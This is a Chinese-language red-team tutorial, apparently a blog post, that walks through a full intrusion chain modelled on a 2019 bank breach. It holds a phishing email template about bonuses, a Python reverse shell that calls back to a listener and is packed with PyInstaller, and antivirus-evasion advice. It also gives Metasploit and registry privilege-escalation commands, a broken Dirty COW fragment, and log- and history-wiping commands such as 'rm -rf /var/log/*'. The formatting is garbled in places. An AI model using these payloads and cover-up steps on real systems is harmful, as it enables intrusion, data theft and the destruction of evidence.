一、目标锁定:从一个真实案例说起
2019年某全球知名金融机构遭遇了一次APT攻击,在这次事件中,攻击者通过一次精准的社工钓鱼邮件引导目标用户点击恶意链接,成功渗透了该机构的内网。随后,攻击者利用漏洞进行权限提升,横向移动到核心服务器,并窃取了超过数百GB的敏感数据。这次攻击展示了一个完整的渗透链条,从外部进入到内部核心资产的全过程。
本文将以该案例为背景,带你构建一个完整的渗透测试教程,展示如何模拟类似攻击,从信息收集到痕迹清除,梳理每一步的技术细节。
---
二、信息收集:敌我双方的情报战
在渗透测试中,信息收集是整个攻击链的第一步,也是至关重要的一环。你需要尽可能多地了解目标的网络结构、资产信息和人员背景。以下是我在实战中常用的几个方法:
1. 被动信息收集(无接触侦查)
目标:获取尽可能多的公开信息,降低暴露风险。

OSINT工具与技术
- 使用
theHarvester搜索域名相关的邮箱、子域、IP等信息: - 利用 Shodan 对目标的外部服务进行探测:
- 调用 DNSdumpster 获取子域名和外部IP:
- 搜索员工社交媒体(如LinkedIn)以收集潜在钓鱼目标。
<pre><code class="language-bash"> theHarvester -d example.com -b all `
`bash shodan search "example.com" `
`bash python dnsdumpster.py example.com `
Python代码——自动化域名信息收集</code></pre>python
import requests from bs4 import BeautifulSoup
def scrape_subdomains(domain): url = f"https://crt.sh/?q={domain}" headers = {"User-Agent": "Mozilla/5.0"} response = requests.get(url, headers=headers) soup = BeautifulSoup(response.text, "html.parser") subdomains = set() for row in soup.find_all('tr'): try: subdomains.add(row.find('td').text.strip()) except AttributeError: pass return subdomains

domain = "example.com" print(f"Subdomains found for {domain}:") print(scrape_subdomains(domain)) <pre><code>
2. 主动信息收集(带接触侦查)
目标:直接与目标交互以获取更多细节信息,同时保持隐蔽性。
- 端口扫描:用 Nmap 探测开放端口及服务版本:
- 目录爆破:使用 gobuster 或 dirsearch 枚举隐藏目录:
- 漏洞扫描:借助工具如 Nessus、OpenVAS 扫描已知漏洞。
`bash nmap -sC -sV -T4 -oN scan_results.txt example.com `
`bash gobuster dir -u http://example.com -w wordlist.txt -t 30 `
---
三、钓鱼邮件与 Payload构造的艺术
在这个阶段,我们需要构造一个能够引诱目标用户执行的恶意载荷。这里使用一个经典的钓鱼邮件案例。
1. 构造钓鱼邮件
编写一个看似真实的邮件内容,诱使目标点击附带的恶意链接。
示例邮件内容</code></pre> Subject: [重要通知] 关于2023年年底奖金发放流程更新
尊敬的[姓名]:
您好!为了确保您的年底奖金顺利发放,请及时登录以下链接,并更新您的信息。
点击此处登录:http://malicious-link.com/update
感谢您的配合!
某某人力资源部 <pre><code>
2. 制作恶意载荷(Python实现)
需求:生成一个能够回连的恶意程序,通过目标点击触发远程控制。
Python代码——生成反向Shell</code></pre>python
import socket import subprocess import os
def connect_back(ip, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) os.dup2(s.fileno(), 0) # Redirect stdin os.dup2(s.fileno(), 1) # Redirect stdout os.dup2(s.fileno(), 2) # Redirect stderr subprocess.call(["/bin/bash", "-i"])
connect_back("192.168.1.100", 4444) <pre><code>
- 使用 PyInstaller 将脚本打包为可执行文件:
`bash pyinstaller --onefile reverse_shell.py `
3. 流量伪装与免杀技巧
- 流量伪装:在载荷代码中使用 HTTPS 或 WebSocket 伪装通信。
- 免杀策略:
- 使用工具如 Veil 或 Shellter 进行加壳。
- 修改代码结构,避免被签名检测。
- 动态加载恶意模块,以规避静态分析。
---
四、内网渗透:突破边界的科学
当你成功进入目标内网后,这里才是真正考验攻击者技术的阶段。主要任务包括权限提升与横向移动。
权限提升
利用目标系统的漏洞或配置错误,提升当前用户权限。
Windows提权
- MS14-058漏洞:通过 Metasploit 提权:
- UAC绕过:手动修改注册表:
`bash use exploit/windows/local/ms14_058_track_popup_menu set session 1 exploit `
`powershell reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f `
Linux提权
- SUID提权:枚举 SUID 文件并利用:
- Kernel漏洞利用:利用 Dirty COW 漏洞提权:
`bash find / -perm -4000 -type f 2>/dev/null `
`c
include <stdio.h>
include <stdlib.h>
include <fcntl.h>
include <pthread.h>
include <string.h>
include <unistd.h>
define PATH "/etc/passwd"
void madviseThread(void arg) { char str = (char )arg; madvise(str, 100, MADV_DONTNEED); return NULL; }
int main() { int file = open(PATH, O_RDONLY); char *map = mmap(NULL, 100, PROT_READ, MAP_PRIVATE, file, 0); pthread_t pth; pthread_create(&pth, NULL, madviseThread, map); pthread_join(pth, NULL); return 0; } `
---
五、痕迹清除:消失的艺术
一名优秀的攻击者不仅需要进入目标系统,还需要确保自己不会被发现。以下是常用的痕迹清除技巧。
Windows日志清除
- 使用 PowerShell 清除 Event Viewer:
`powershell wevtutil cl Application wevtutil cl Security wevtutil cl System `
Linux操作记录清除
- 清除命令历史:
- 删除日志文件:
`bash history -c `
`bash rm -rf /var/log/* `
文件时间戳伪造
通过修改文件的访问时间和修改时间,隐藏操作痕迹:</code></pre>bash touch -t 202301010101 target_file `
---
六、个人总结:成为猎手的关键思维

渗透测试不仅是技术的较量,更是思维的博弈。作为一个红队成员,你需要像猎手一样敏锐,像幽灵一样隐蔽。始终记住以下几点:
- 保持耐心:渗透测试是一个长线任务,别急于求成。
- 迭代学习:不断更新你的工具和技术。
- 风险意识:永远确保你的测试行为在法律框架内进行。
这是一次完整的渗透旅程,希望你能将这些技巧用于合法的安全测试中,并不断提升自己的攻击能力。